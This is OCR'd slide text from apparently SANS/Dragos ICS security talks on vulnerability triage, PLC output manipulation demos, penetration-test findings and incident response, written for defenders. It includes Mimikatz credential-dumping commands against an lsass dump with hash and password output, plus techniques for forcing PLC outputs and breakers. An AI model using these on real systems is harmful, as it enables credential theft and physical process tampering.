B2 Administrators (DESKTOP-PMEJAST \Administrators) ~
Users (DESKTOP-PMEJAST \Users)

82 Trustedinstaller
v

L4 >

To change pemmissions, click Edit. Edit... . C h a n g e u pd ate i nfo rm ati O n

Pemissions for Users Allow Deny

Load malicious DLLs

Read & exscute
List folder contents
Read

Write

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\RAISE\RALocator

For special permissions or advanced settings,

vor specal oo HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Rockwell Software\RSLinx

HKEY LOCAL MACHINE\SOFTWARE\Classes\RAISE\Servers\CD5\Pgm

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\WinDNet32\Drivers

DRAGCS



' Rockwell Automation Connected Components Workbench

What can | do about it?

Restrict permissions to files and registry keys

Ensure that users with local login privileges do not have admin
privileges

Enable DLL Hijacking protection by adding the key CCW.shell.exe

Manually update RSLinx instead of calling out to the Internet

DRAGCS



' Rockwell Automation Connected Components Workbench

Prioritization

* Loss of View? Loss of Control?

» Limited threat, patch next maintenance window

« Don’t bother with 10 or 10.1, instead install version 12

« Mitigate risk through DLL Hijacking protection

DRAGCS



General Electric Communicator

ICSA-18-125-02 / CVE-2017-7908

Source -> ICS-CERT

Do we understand it? / Answer the 3 Qs
* What s it? -> Management software for GE power meters is vulnerable to a
buffer overflow attack
* Why do | care about it? -> Could cause denial of service or code execution

* What can | do about it?

How do | prioritize?

DRAGCS



' General Electric Communicator

* MeterManager.Scheduler.exe -> TCP/1233
* Postgres.exe -> TCP/5433

Administrator: Command Prompt

C:\Users\kateo>netstat -ano
Active Connections

Proto Local Address Foreign Address State PID

DRAGCS



' General Electric Communicator

* Corrected vulnerability:
* CVE-2017-7908 : AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
* New Vulnerabilities:
* CVE-2019-6564 -> Installer DLL Hijacking
* CVE-2019-6546 -> Application DLL Hijacking
* CVE-2019-6544 -> RPC Service Hardcoded accounts
* CVE-2019-6548 -> PostgreSQL Hardcoded accounts

* CVE-2019-6566 -> WISE Uninstaller Globally Writeable
DRAGCS



' General Electric Communicator
* What can | do about it?

* Patch to 4.0.517

 Restrict access to TCP/1233 and TCP/5433 (Windows firewall protects by
default)

* DLL Hijacking Protection for GEComm4.0.172.exe and Commex.exe

* Manually change permissions for C:\E134-10\2\UNWISE.EXE

* How do | prioritize?
* Loss of View? Loss of Control?

* Limited threat -> patch in next cycle or mitigate with above recommendations
DRAGCS



Action Items

DRAGCS



' What can you do about it?

1) Patch the vulnerability
2) Mitigate the vulnerability

3) Monitor for exploitation

DRAGCS



' Patching

* Why do people like patching so much?
1) It’s what we know

2) It's easy to measure

DRAGCS



Which vulnerabilities have we seen exploited?

« CVE-2015-5374 - Siemens SIPROTEC Protective Relays
- SEVD-2017-347-01 — Schneider Electric Triconex Tricon
« CVE-2014-0751 — GE’s CIMPLICITY HMI
 CVE-2014-8551 & CVE-2014-8552:

- Siemens WInCC, PCS7, and TIA Portal

+ Advantech/Broadwin WebAccess

DRAGCS



' Mitigation

*  What can we do to mitigate?
1)  Know your environment

2)  Restrict access

DRAGCS



Risk-Based Approach

. Is the vulnerability actively being exploited?

. Is there a Loss of View or Loss of Control to the process?
. Can it be exploited remotely?

. Monitor for anomalies on the wire

. Monitor for malicious project files

DRAGCS



' Monitoring
«  What can we do to monitor?

1) Properly design visibility

2) Get to know your environment better

DRAGCS



' Recommendations for Vendors and ICS-CERT

. Please include additional mitigation steps beyond patch information

DRAGCS



Thank you
Questiohé? Use the Q&A.

Kate Vajda
- kvajda@dragos.com

Twitter: @vajkat DRAGCS
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PLC and 1/O Discussion and Demos

{ Target Mechanical Systems and Critical Processes Through Automation 1

PLC Simplified Internal Architecture — Solving Input —> Logic -> Output

Demo - PLCitM No Ethernet Required to Cause Misleading HMI &
Enunciator Panel Status

Demo — Remote Output Operation
Demo - Remote Breaker Operation

Demo — A PID chewing on bad input = Bad output = Manipulation of
Physical Systems




Understanding Machinery & Systems So You Can Understand What is Critical to Defend

Total Engineering Scope

+ @’+ +

Customers Process Expert Mechanical Engineer  Electrical Engineer Automation Programmer

« Machine design considers information by all actors
— Each actor has an important piece of the automation puzzle

— Actors may be from multiple parties including different Original Machine
Manufactures (OEM)

e You should understand total machine operation so you can defend the
critical functions

— Examples: lube systems, pressure systems, flow controls
ICS Cybersecurity




Who is Involved with Machine Design? How can these be targeted?

e Customers
— Drive demand and define end product requirements Customers E

e Process Experts

— Provide detailed descriptions of how the process affects
product.

— They often dictate how the machine(s) are designed
« Mechanical Engineer

— Designs mechanical systems of the machine %1

Process Experts

-

. . eqes o . . Mechanical
— Defines physical capabilities and constraints of the machine Engineer

« Dealing with physical not logical objects

— Have formal tools for determining and designing the
physical characteristics of the machine

 Strength of materials, understands tolerances of pieces being put

DECLNC
ICS Cybersecurity




Who is Involved with Machine Design?

« Electrical Engineer &0
. . . . . . ) Electrical
— Provides wiring diagrams for terminating sensors Engineer
— Has formal tools for sizing wire, fuses and other electrical
devices

— Scholarly training available for this discipline

e Automation Programmer Automation
Programmer

— Programs content from Customer, Requirements Analyst,
Mechanical Engineer, Electrical Engineer

— Typically continues to change program until machine is
accepted by customer

 Seen as the person responsible to make the machine produce the
product

« Lives on the factory floor until the customer accepts the performance




PLC and 1/O Discussion and Demos

« Target Mechanical Systems and Critical Processes Through Automation
{ PLC Simplified Internal Architecture — Solving Input —> Logic -> Output}

Demo - PLCitM No Ethernet Required to Cause Misleading HMI &
Enunciator Panel Status

Demo — Remote Output Operation
Demo - Remote Breaker Operation

Demo — A PID chewing on bad input = Bad output = Manipulation of
Physical Systems




Data Foundations w/in the Purdue Model are Only
as Solid as the Integrity of Data In/Out of PLC/PAC

SANY

Wide Area Network (WAN)

Data Center - Virtualized Servers

+ ERP - Business Systems
Email, Web Services
Security Services - Active Directory (AD), Identity Services (AAA)
Network Services — DNS, DHCP

External DMZ/
Firewall

Enterprise Zone
Levels 4-5

Call Manager
Physical or Virtualized Servers F'a%',:wgg‘giggy Industrial
. AV Server g Inter-zone traffic segmentation Demilitarized Zone
« Application Mirror Cgklséle':vsiczgd DS (IDM2)
RS DEsepIC Ry SR +  Portal and Remote Desktop Services proxy
Physical or Virtualized Servers Identity Services s SAV;‘CCE;; H Industrial
|+ FactoryTalk® Application Servers and F = Le
Services Platform E : (Planty .
[+ Network & Security Services — DNS, Active D Celll/Area Zond -
AD, DHCP, Identity Services (AAA) Levels0-2 | © The gen651s Of data
|+ Storage Array / .
- ) starts here and the
LAN Controller Remote i e Access foundation On
'WLC mr Distribution
Level 3 - Site Operations ( ) ) Access Y Distribution Switch Stack Swiches
Control R Server Switch Stack | - h h d o :
(Control Room) alinrea Zone | which data integrity

is built.

.......... 3 - ] ) ‘ - m‘;-‘ _.
BN
>

7
Data
Genesis
N i

Soft
| Starter

Instrumentation

rilet/IP

Cell/Area Zone - Levels 0-2

ICS Cybersecurity



But there’s a Catch........

Wide Area Network (WAN)
Data Center - Virtualized Servers

External DMZ/

ERP - Business Systems

Email, Web Services ’ Firewall
Security Services - Active Directory (AD), Identity Services (AAA) "',

Network Services — DNS, DHCP -

Call Manager Identity Services

PLC responds to
inputs. Good or
bad, calibrated or
not, the PLC
responds however
it’s programmed to
respond

Plant Firewalls

Physical or Virtualized Servers
+  Patch Management

- AV Server

- Application Mirror SSID
+ Remote Desktop Gateway Server

Physmal or Virtualized Servers
FactoryTalk® Application Servers and
Services Platform

I* Network & Security Services — DNS,

AD, DHCP, Identity Services (AAA)

|+ Storage Array

Wireless
LAN Controllg A
A A (WLC)
Level 3 - Site Operations — e
(Control Room) | I Celliarea)
Levels

Soft
Starter

Instrumentation

bni'et/IP

ICS Cybersecurity



PLC / PAC Simplified Internal Architecture

Permit

Action Action
COd? Input Outpu
Execution il O_
. 11
Engine
Write
From HMI Move
Permit Action Input = - Source:
. 1 | New Setpoint
Electrically True SR
Destination:
Permit Current Setpoint
Action

Input

Permit
Action
Output

Permit Action Output =
Electrically True




PLC / PAC Simplified Internal Architecture

Permit

Action Action
COd? Input Outpu
Execution il O_
. 11
Engine
Write
From HMI Move
Permit Action Input = - Source:
. 1 | New Setpoint
Electrically True SR
Destination:
Permit Current Setpoint
Action
Input @

1) Read Input

Permit
Action
Output

Permit Action Output =
Electrically True




PLC / PAC Simplified Internal Architecture

Permit Action Input =
Electrically True

Permit

Permit
Action
Output

Permit Action Output =

Electrically True

Action
Input @

Code
Execution
Engine

Data Table
\

Write

Permit

. Action
Action
Input Outpu
'l O
Write
From HMI Move
Source:
| | New Setpoint
Destination:
Current Setpoint

1) Read Input
2) Update Input Image Data Table




PLC / PAC Simplified Internal Architecture

Permit

Action Action
Code @ Out
. I pu
Execution 1}p1|1t O_
Engine b
Write
From HMI Move
Permit Action Input = ) - 1S\IOelv1\1;cSee:t oint
Electrically True b Dest: poir
] estination:
Permit Data Table Current Setpoint
Action
Input @ 9“ } — “ '\_ Wri
= rite

1) Read Input

2) Update Input Image Data Table

3) Code Executes and Determines
Output Status

Permit
Action
Output

Permit Action Output =
Electrically True




PLC / PAC Simplified Internal Architecture

Action
Outpu

O_

Permit
Code ?Icltlz?
Execution Ipl
. 11
Engine
Write
From HMI
Permit Action Input = | 1
Electrically True b
Permit Data Table
Action

Input

Permit
Action
Output

Permit Action Output =
Electrically True

Move
Source:
New Setpoint
Destination:
Current Setpoint

1) Read Input

2) Update Input Image Data Table

3) Code Executes and Determines
Output Status

4) Output Image Data Table Updated




PLC / PAC Simplified Internal Architecture

Action
Outpu

O_

Permit
Code ?Icltlz?
Execution Ipl
. 11
Engine
Write
From HMI
Permit Action Input = | 1
Electrically True b
Permit Data Table
Action

Input

Permit
Action
Output

Permit Action Output =
Electrically True

Move
Source:

New Setpoint
Destination:
Current Setpoint

1) Read Input

2) Update Input Image Data Table
3) Code Executes and Determines

Output Status

4) Output Image Data Table Updated

5) Output(s) Written



PLC / PAC Simplified Internal Architecture

P .
WA you have access to Action
Code the Data Table and Outpu
Execution you know how the t
PLC/PAC is
programmed,
You can affect the
Permit Action Input = behavior of the PLC
Electrically True -
gfination:
Permit Current Setpoint
Action
Input
Permit
Action
Output
® @
Permit Action Output =

Electrically True
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Demo Hardware

Breakers

SANS ICS Cybersecurity



Demo Hardware

Breakers

Breaker
Indicato
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PLC Logic - Pretty Typical

Close Breaker 1 Close Breaker 1

Timer Timer
- Close Breaker - Close Breaker
Pod 1 Breaker 01 Pod 1 Breaker 01 Command Active While Command Active While
Close Pushbutton Closed Status Timer Is Running - Timer Is Running -
Localk1:l.Data.1 Local1:.Data.4 ClozeBrkr01.DN TOM
_. } [ jn‘[ ﬁ!_ Timer On Delay —CEN
Pod 1 Timer CloseBrkr01
Close Breaker 01 i"::lﬁ_. 253 :—CDH)—
From HMI
CloseBreaker01HMI
qrC Close Pod 1 Breaker
1 C 01
Useless box command Local2'0.Data.1
to close breaker 1 3
UselessBoxCloseBreaker1 l\
1F .
3t Real Physical
Close Breaker 1
Timer Outputs
- Close Breaker
Command Active While

Timer Is Running -

CloseBrkr01.EN

1E

Pod 1 Breaker 01 ‘ ' Pod 1 Breaker 01 l

Closed Status Closed Light
Local:1:LData.4 Local:1:0.Data.1

g

. Pod 1 Breaker 01
Real Physical Breakord i CloseaHH
Inputs i

Pod 1 Breaker 01
Opened Light
Locak1:0.Data.

Pod 1 Breaker 01
Closed Status
Local:1:LData. 4

/E

ICS Cybersecurity




PLC Logic — Cross Reference Used to Locate Where Output is Being Written From

@ Logix Designer - RAGridPod in GridPod 02252020 V24.ACD [1769-L16ER-BB18 24.13]" - [Cross Reference]
"7 File

Edit View Search

Logic Communications Tools Window Help
| BEEE & L Be o o |c:kn1FiI\BagPermil \.r| B8R Eh (VW & C ” |_:e,@;f,gnguage,_, v| [~ ‘
Rem Run [ ™ Run Mode Path: [AB_ETHIP-Summit\192.168.24.2 -] \i|
No Forces >, W Controller OK Online Edit
No Edits gl, :IEEE:;SIDBQEOK 4 == ! MLy AU A L e eI ey 19 Ty 'y . o s
| m [\ Favorites A ZddOn & Aarms A BR A TimerCounter A Inputl W WX WY YR WK d
Controller Organizer > B X | e Tog V| Scope: Show:
E1-45 Controller RAGridPod ~
.. Controller Tags Mame: |Local:2:0.Data.1 - | Refresh ‘
-[23 Controller Fault Handler
“..[1 Power-Up Handler Element Container 7 Routine Location Reference BaseTag
- Tasks ® D BreakerCtrl
= @MainTask
=-£8 MainProgram

| Parameters and Local Tags
- MainRoutine
-[Bl AOCalibration
Manipulate_HART

-[B) outputBitMarch

- Pod2PodComms
F_Initialize
R_Modbus_Parsing
-[B) R_RawOrPackPodClick1

|Efl R_RawOrPackPodClick2
- [Bl sim_Compressor
=435 PIDE
=-£& PIDE
i-[#) Parameters and Local Tags

: |3ty PiDE
L\E 79 T_BreakerCtrl
I B ﬂ P_BreakerCtrl

: | Parameters and Local Tags
... [fh R_BreakerRoutine

h R_BreakerRoutine Rung0 Locak2:0.Data.l

Destructive Description

Close Pod 1 Breaker 01

Cross
Reference
Results

jj\ﬂv Logic A By Tag )A‘ Tag Hierarchy )\ By Connection I

ICS Cybersecurity



PLC Logic — Last in Wins and Not Always Discoverable Through Easy Means

OQutput Bit March
Enabled

BitMarchEn

MOV

8 } [ Move
Source Output_Pattern
Remote Bit March 39 &
Enable from PV Dest Local1:0.Data
RemoteEll itlr-'r archEn 2#0000_0000_0100_0101 +
J L

Moving values to outputs is one method to
overriding the logic, sometimes remain hidden

from casual logic searches AND most
controller platforms allow direct output writes
from external sources like OPC clients.




PLC and 1/O Discussion and Demos

« Target Mechanical Systems and Critical Processes Through Automation
o PLC Simplified Internal Architecture — Solving Input —> Logic -> Output

« Demo - PLCitM No Ethernet Required to Cause Misleading HMI &
Enunciator Panel Status

. Demo — Remote Output Operation
« Demo - Remote Breaker Operation

« Demo — A PID chewing on bad input = Bad output = Manipulation of
Physical Systems




Demo - PLC itM and Remote Output Operation

Controller in the Middle Attacks







PLC and 1/O Discussion and Demos

Target Mechanical Systems and Critical Processes Through Automation
PLC Simplified Internal Architecture — Solving Input —> Logic -> Output

Demo - PLCitM No Ethernet Required to Cause Misleading HMI &
Enunciator Panel Status

Demo — Remote Output Operation
o/ Demo - Remote Breaker Operation ]

« Demo — A PID chewing on bad input = Bad output = Manipulation of
Physical Systems




Demo - Remote Breaker Operation

Music to your ears




Local Output March

[er ]

Owven Temp
3 oint Actual

78

Grid Breaker
Exit Control

Enable Hacks

Remote Output March

]

Guess the Tune

Off

4/24/2020 8:06:35 AM



Enhanced PID - Closed Loop Controller

PIDE
Actual PIDE [
h
Temp Enhanced PID Note the use of CVEU and C\V% outputs
100.0 1A
=] Enablein CWVEU PIDE_CV
100.0,
PV cv
SPP spP teop
rog ST I ONIOFF PID control! Spiit_Range
J SPCascade SPPercent D —
17 d51693 SRTP allows TWO SRTP = PIDE Output t.g
] RatioProg PVPercent p - ranges control a physical
o cvrrog eb :3' E) Spit Range Time Proportional ; outlet
] PGain ProgOper 31 ] In HeatOut [= 2 o Local:1:0.Data.4
Use PROG parameters | o (cain dute B ) CoolOut 100.0
] DGain Manual b HeatTimePercent [
= 0.01 0.0
4 &) PVTracking DeltaT p CoofTimePercent O
—— —— —— — —ii] ProgProgReq
1 =] ProgOperReg
PIDE_AUTO_RQ o —z] ProgAutoReq
r _—— —] ProghlanualReq
| | AutotuneTag PIDE_AUTOTUNE
| NOT_Auto_RQ |
| BNOT [ |
I Boolean Not |
] | Out o J
=1 utfr— Ensure Wanual or Auto PIDE

setto MANUAL for AUTOTUNE
]

ICS Cybersecurity




Enhanced PID - Closed Loop Controller Break Out

T/C | D% AR

PIDE
Actual PIDE [
Temp Enhanced PID Note the use of CVEU and CV% outputs
100.0 4
| Enablein CVEU
100.0,
PV cv
SPP SP teope
rog ST I ONIOFF PID control! Spiit_Range

SPCascade SPPercent 17 de1esa SATP allows TWO SRTP | PIDE Output to
RatioProg PVPercent p - ’ ranges control a physical
CVProg eb :3' E) Spit Range Time Proportional ; outlet
PGain ProgOper b 1 ] In HeatOut
IGain Auto B o CoolOut [0 100.0
DGain Manual b 0.01 HeatTimePercent [ 00 :

| P\Tracking DeltaT o CoofTimePercent 0

=] ProgProgReq

=] ProgOperReq

o Prosautorea Pulse Width Modulation of the

_—— —] ProghlanualReq
| |AutotuneTag  PDE_AUTOTUNE Power Outlet Based on PIDE CV

NOT_Auto_RQ | On / |
BNOT [ | L8
Boolean Not | ff \ g '
, | Off—
j—

r
I
|
|
I
— In Out [£

Ensure Manual or Auto PIDE
setto MANUAL for AUTOTUNE

4a

ICS Cybersecurity




Enhanced PID - Example

HART

PIDE |
PIDE (]
Enhanced PID 0/ Note the use of CVEU and C\V% outputs
O 1A
o Enablein CVEU ;
PV cv b—
SPP spP teop
rog ST I ONIOFF PID control! Spiit_Range
SPCascade SPPercent 17 de1esa SATP allows TWO SRTP | PIDE Output to
RatioProg PVPercent p - ’ ranges control a physical
CVProg eb :3' E) Spit Range Time Proportional ; outlet
PGain ProgOper 31 ] In HeatOut
IGain Auto B o CoolOut [0 100.0
DGain Manual b 0.01 HeatTimePercent [ 00 :
| P\Tracking DeltaT o CoofTimePercent 0
=] ProgProgReq
=] ProgOperReq
o .
o Progautorea Pulse Width Modulation of the
r —_—— e — —iz] ProgianualReq
| | |AutotuneTag  PDE_AUTOTUNE Power Outlet Based on PIDE CV
| NOT_Auto_RQ | On /
| BNOT [ |
Boolean Not |
|| o ]y Off
e n utfr— Ensure Wanual or Auto PIDE

setto MANUAL for AUTOTUNE
]

ICS Cybersecurity




Enhanced PID - Only As Good As the Input!!!

HART

PIDE
PIDE

Mote the use of CWVEU and CV'% outputs
100% ’
0 Ju
¥ PIDE_CV
U U

Enhanced PID

=} Enablein CVEU

PV CV b—
SPP sSP teope
rog ST I ONIOFF PID control! Spiit_Range
] SPCascade SPPercent b 17 de1esa SATP allows TWO Py PIDE Output to
] RatioProg PVPercent p - ranges control a physical
o] cvProg 3 =] 8. 4 Spiit Range Time Proportional outlet
1 1
] PGain ProgQOper |1 1 ] In HeatOut [© 2 o Local1:0.Data.4
Use PROG parameters ] (Gain Aute B 0 CoolOut [£
e ] DGain Manual b 0.01 HeatTimePercent
=] PVTracking DetaT |5 CoolTimePercent

—— —— —— — —ii] ProgProgReq

Il

ProgOperReq

—¢] Progautoreq Pulse Width Modulation of the

—_— —iz] ProgManualReg

|r | |AutotuneTag  PDE_AUTOTUNE Power Outlet Based on PIDE CV
|  NOT_Auto_RQ | On
| BNOT [ |
!_c | Boolean Nu; t :'E J| Off
=0 il Ensure Manual or Auto PIDE

setto MANUAL for AUTOTUNE
]

ICS Cybersecurity




PLC and 1/O Discussion and Demos

Target Mechanical Systems and Critical Processes Through Automation
PLC Simplified Internal Architecture — Solving Input —> Logic -> Output

Demo - PLCitM No Ethernet Required to Cause Misleading HMI &
Enunciator Panel Status

Demo — Remote Output Operation
Demo - Remote Breaker Operation
-[Demo — A PID chewing on bad input = Bad output = Manipulation of }

Physical Systems




Demo - Numerous Bad Things

A PID chewing on bad input = Bad output = Manipulation of
Physical Systems




= O X

e _ H3321 oloemaleolco

Enable Hacks o]o male ofc o]
Local Output March Remote Output March 1 @ @ ~N B N<= 100% @ 9:04
Off I off l

Oven Temp Guess the Tune

Actual : :
i off I Transmitter / Serial number
70C5300010 / N1822.700815

Configuration

Breaker Tag / User sign
Cantrol 41252020 1:09:27 AM ARCDEMO /

Sensor type
T/C type K, 2 wires

Range
346.0...1000.0 °F

Output

4..20 mA / Filter = 1.6 sec

Error monitoring
Upscale / Upscale

Error correction
ON

HART
HartLongTag / ADR:O



Conclusion & Questions

« Analyze mechanical systems and critical processes to understand the full
impact of automation comprises

« Monitoring does provide a first line defense but it is “possible” to have
activities that don’t get picked up by monitoring packages

 Security programs should include teaming efforts with actors that can
describe critical systems and processes

« Code reviews of automation systems that are controlling mechanical

systems are paramount after you understand the process you are
controlling

QUESTIONS?




‘ DISC: SANS ICS
DRAGCO Virtual Conference

May 1,2020 | 10am-6pm EDT

Please provide feedback

Session: Future Things
Simple Yet Effective ICS Cyber Attacks
Presenters: Jason Dely & Jeff Shearer

https://sansurl.com/future-things

Thank you! ,
#DISCSANS


https://sansurl.com/future-things

DRAGCS

DISC — SANS ICS Virtual Conference
SIMPLE WINS DURING SLOW DOWNS

Austin Scott (GICSP, CISSP, OSCP)
Dragos ICS Penetration Testing Principal



C:\>whoami
Austin Scott

Principal Industrial Penetration Tester
Dragos

@Austin_m_Scott
https://www.linkedin.com/in/synergist/

DRAGCS



https://www.linkedin.com/in/synergist/

2019 DRAGOS YEAR IN REVIEW

@ adversaries

directly accessing
the ICS

gD FROM
ONS LEARN
|';'EHSESFRONT LINES OF ICS
CYBERSECURITY

PRAGCS

have poor
security
perimeters

routable network
connections into

incidents their operational
organizations involved shared environments

could not detect credentials

lacked Dragos’ Red for lateral

Limited or no separate IT Team activities movement
visibility into and OT user
ICS/OT management

systems

network



ICS CYBERSECURITY RAPID SELF-CHECK

-

Take ownership of understanding Cyber Risk
In your environment.

DRAGS




OPERATIONALIZED RAPID SELF-CHECK

DRAGCS




ICS FIREWALL RULES

ICS Access from Corporate network Reduce interactive protocol traversal
Temporary rules onts:

Vendor solution dictated rules

Vendor adccess rUIes Medium — Verify firewall rule changes

with ICS Vendors.

Use Firewall Browser and ldentify: Solar Winds FREE Firewall Browser
SSH, Telnet, Remote Desktop, VNC,
WMI, PowerShell RM, RPC,

SMB ( PSEXEC))
DRAGSS



https://www.solarwinds.com/free-tools/firewall-browser

FIREWALL BROWSER DEMO

Firewall Browser

Line No. Source Destination Services Action | ACL Name
1940 192.168.8.1/32 udp/snmp-snmptrap g L prod2-access
0

1991 19
1992

32.168.8.1/32 udp/ntp 3 t  prod2-access
.168.8.16 tcp/ftp-data-telnet a I prod2-acces

1993 .168.0.1/ tcp/3389 8 E  prod2-acces

1944 32 168, ‘]-]-r' fcp/3389 a E  prod2-access
1996 g E pr‘ndz-acce

[
p.._-l

[

[
(W] [N w] (]
h._'l

10407 a a a [ prod2-access

DRAGS



ACCESS MANAGEMENT

Domain Admins Galore
Overprivileged Service Accounts
Numerous Paths to Domain Admin

Download and Run BloodHound
Review Paths to Admins
Review Overprivileged Accounts

DRAGS

Increase difficulties in gaining access
to Domain Administrator accounts.

Very Low

Bloodhound, Active Directory Enum
Script


https://github.com/BloodHoundAD/BloodHound

BLOODHOUND DEMO

O

ADM_HWASHBURNE@LABS.SCIP.CH

ADM_MREYNOLDS@LABS.SCIP.CH

RTAM@LABS.SCIP.CH

T ————

APPO1.LABS.SCIP.CH DLAT-LOCAL-ADMIN-APPO1@LABS.SCIP.CH




ACCESS MANAGEMENT #2

We almost always find Credentials
We often find default Credentials
We often find Credentials that are
stored and not properly encrypted.

Understand where and how
Credentials are stored.
* Implement Access Management.

DRAGS

Increase the level of effort required to
obtain credentials.

Very low

Session Gopher, LSASS Dump and
Mimikatz, Mimikittenz, Nirsoft.net
Password Utils



MIMIKATZ CREDENTIAL HUNT DEMO

(05| Local Security Authority Process (3) lzazs.exe

Expand
End task
Provide feedback

Resource values
Create dump file

Go to details
Open file location

Search online

Properties




MIMIKATZ CREDENTIAL HUNT DEMO

mimikatz{(commandline) # sekurlsa::minidump c:\temp\lsass.dmp
Switch to MINIDUMP : ’c:\temp\lsass.dmp’

mimikatz{(commandline) # sekurlsa::logonpasswords
Opening : ’c:\temp\lsass.dmp’ file for minidump...

Authentication Id B ; 996 <(BBBLRAANA:PRBARA3e4)

Session : Service from O

User Name : ADSDCHA2S

Domain : ADSECLAB

Logon Server : (nullD

Logon Time : 5/30/2015 18:14:48 PM
SID : $-1-5-20

msy :
[(0ABBBBA3 1 Primary

* Username : ADSDCH2S

»* Domain : ADSECLAB

» NTLM : ec2fa778ddlefe24d9780561£f245c69cH

»* §H91 : 48bbe93edacc?Bbf £f740c717c£f782hBf6c77653e

DRAGCS 18




DRAGS

SESSION GOPHER CREDENTIAL HUNT DEMO

Digging on WIN7-CLIENTG1...
Microsoft Remote Desktop (RDP)> Sessions

Source
Hostname
Username

Source
Hostname
Username

WIN7-CLIENTA1\Bruce .Wayne
10.181.73.202
CORP\Bruce .Wayne

WIN7?-CLIENT@1\Bruce .ayne
dc@l
CORP\Professorid

WinSCP Sessions

Source
Session
Hostname
Username
Password

WIN-UU1UUS526 7KH\Brandon Arvanaghi
admin—anthony198.273.212.334
198.273.212.334

admin—anthony

Super*plssubrd




HARDENING
- WHAT WE SEE

« Common system hardening issues
allow for hash reflecting, passing
and clear-text password recovery.

 Windows - Run CHAPS
e Linux - Run Linux Bash script

DRAGCS

Greatly increase the difficulty for
adversaries to escalate privileges and
move laterally.

Medium — Verify system hardening
changes with ICS vendor.

* Configuration Hardening Assessment
PowerShell Script (CHAPS)

* Microsoft Security Compliance Toolkit

« CIS tools

« STIG tools




CHAPS HARDENING DEMO

PS5 C:ZWCHAPS> . .“chaps.psl

Security warning

Run only scripts that you trust. While scripts from the internet can be useful, this script can potentially harm your

computer. If wyou trust this script, use the Unblock-File cmdlet to allow the script to run without this warning

message. Do yvou want to run C:ZWCHAPS\chaps.psl?

[D] Do not run [R] Run once [5] Suspend [?] Help (default is "D")}: R

Directory: C:\Users'\B8x@@\AppData’local\Temp

Mode LastWriteTime Length Name

He==== 11/5/2819 B:54 AM chaps-28191185-865441
[*] Start Date/Time: 28131185T86544201-@5

[-] You do not have Administrator rights. Some checks will not succeed. Note warnings.

[*¥] Dumping System Info to seperate file\n

DRAGS

18
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CHAPS HARDENING DEMO

[+] = TEST PASS

r-ﬂ
L—J

C N I I B TR B I B

e e ] ] e e e e e L)

DRAGS

= TEST FAIL

Testing if WDigest is disabled.

WDigest UselLogonCredential key does not exist.
Testing if LLMNR is disabled.
DNSClient.EnableMulticast is enabled:

Testing if Computer Browser service is disabled.

Computer Browser service is: Running

Testing Lanman Authentication for NolLmHash.
NoLmHash registry key is configured: ©
Testing if PowerShell Version 2 is permitted
PowerShell Version 2 is permitted.




LOGGING
- WHAT WE SEE

3 NOt I—Ogglng the nght Sthf Improve Threat Detection Capability

Improve Incident Response Capability

* Lack of Centralized Logging

Low — Centralized logging can increase
network traffic within ICS environment

o Run CHAPS Configuration Hardening Assessment
PowerShell Script (CHAPS)

* Implement Centralized Logging
* Validate Event Logging

DRAGCS


https://github.com/cutaway-security/chaps

CHAPS WINDOWS EVENT LOG CONFIG DEMO

Testing if PowerShell Moduling is Enabled

EnableModulelogging Is Not Set

Testing if PowerShell EnableScriptBlocklLogging is Enabled

EnableScriptBlocklLogging Is Not Set

Testing if PowerShell EnableScriptBlockInvocationlLogging is Enabled

EnableScriptBlockInvocationlLogging Is Not Set

Testing if PowerShell EnableTranscripting is Enabled

EnableTranscripting Is Not Set

Testing if PowerShell EnableInvocationHeader is Enabled

EnableInvocationHeader Is Not Set

Testing if PowerShell ProtectedEventlLogging is Enabled

EnableProtectedEventLogging Is Not Set

Event logs settings defaults are too small. Test that max sizes have been increased.

Testing Microsoft-Windows-SMBServer/Audit log size failed.

Testing Security log size failed.

Microsoft-Windows-PowerShell/Operational max log size is smaller than System.Collections.Hashtable[Microsoft-Windows-Pow
Microsoft-Windows-TaskScheduler/Operational max log size is smaller than System.Collections.Hashtable[Microsoft-Windows-
Microsoft-Windows-WinRM/Operational max log size is smaller than System.Collections.Hashtable[Microsoft-Windows-WinRM/Op
Microsoft-Windows-Security-Netlogon/Operational max log size is smaller than System.Collections.Hashtable[Microsoft-Wind
Microsoft-Windows-WMI-Activity/Operational max log size is smaller than System.Collections.Hashtable[Microsoft-Windows-W
Windows PowerShell max log size is smaller than System.Collections.Hashtable[Windows PowerShell] GB: ©.015 GB

System max log size is smaller than System.Collections.Hashtable[System] GB: ©.02 GB

Application max log size is smaller than System.Collections.Hashtable[Application] GB: ©.02 GB
Microsoft-Windows-TerminalServices-LocalSessionManager/Operational max log size is smaller than System.Collections.Hasht

DRAGCS 13
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NETWORK VISIBILITY

* Operate in ICS networks undetected
 Maintain perpetual access
* Do not know what is on networks

* |dentify SPAN ports for monitoring

* Create procedure for collecting
network packet captures

* Use a free tool to view them

DRAGS

Improve Threat Detection Capability
Improve Threat Hunting Capability
Improve Incident Response Capability

Low — Connecting to SPAN ports is
nonroutable — BUT CPU usage of
switches should be monitored.

Dragos Community Tools
Network Miner - $$
Dragos Platform - $$



Two Free (FOREVER) Community ICS Network Visibility
Products from Dragos

CYBERLENS

. Asset identification
Continuous asset e 1t with

identification packet capture

ST

DRAGS 188




Dragos CyberLens

s

C i (319216810133

vsessiontnfe  CYBER

Currently Running...

Not Running...

Z \ —— —_— ) L
MU BB N N M M - - v Gioesafuants 2
Siemers AG ASD ET
Horizomeal Abgn
Girce Align

DD DDDDBDDD b 3160.0002

IT33104: 25,0002




And of course there is their Big brother the Dragos Platform

O Vulnerabhility Analysis
O Analyst Workbench :
© Asset Identification

& Anomaly Detection C> Investigation
: . Playbooks

C> Emerging Threats, Indicators,
i & Adversary Behaviors

O Threat Analytics C> Malware Analysis

<:> Managed Threat

éVuInerabiIity Hunting
. Identification 5

Open APIs for
Integration

190
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DISC: SANS ICS

’ DRAGCO Virtual Conference

May 1,2020 | 10am-6pm EDT

Please provide feedback

Session: Simple Wins During Slowdowns
Presenter: Austin Scott

https://sansurl.com/simple-wins

Thank you!

#DISCSANS


https://sansurl.com/simple-wins

Electric Sector Incident Response

Tim Conway
— SANS Institute
— Instructor

TEISTITILLLY
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Operational
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REQUIRES MULTI-STAGED ATTACKS

External Network Hosts
(Business or Plant Network)

LEVEL 4

Common Protocols

DMZ Applications

Common Protocols
AN ‘
@ (o

Histarian

LEVEL 3 prsch Depimymers

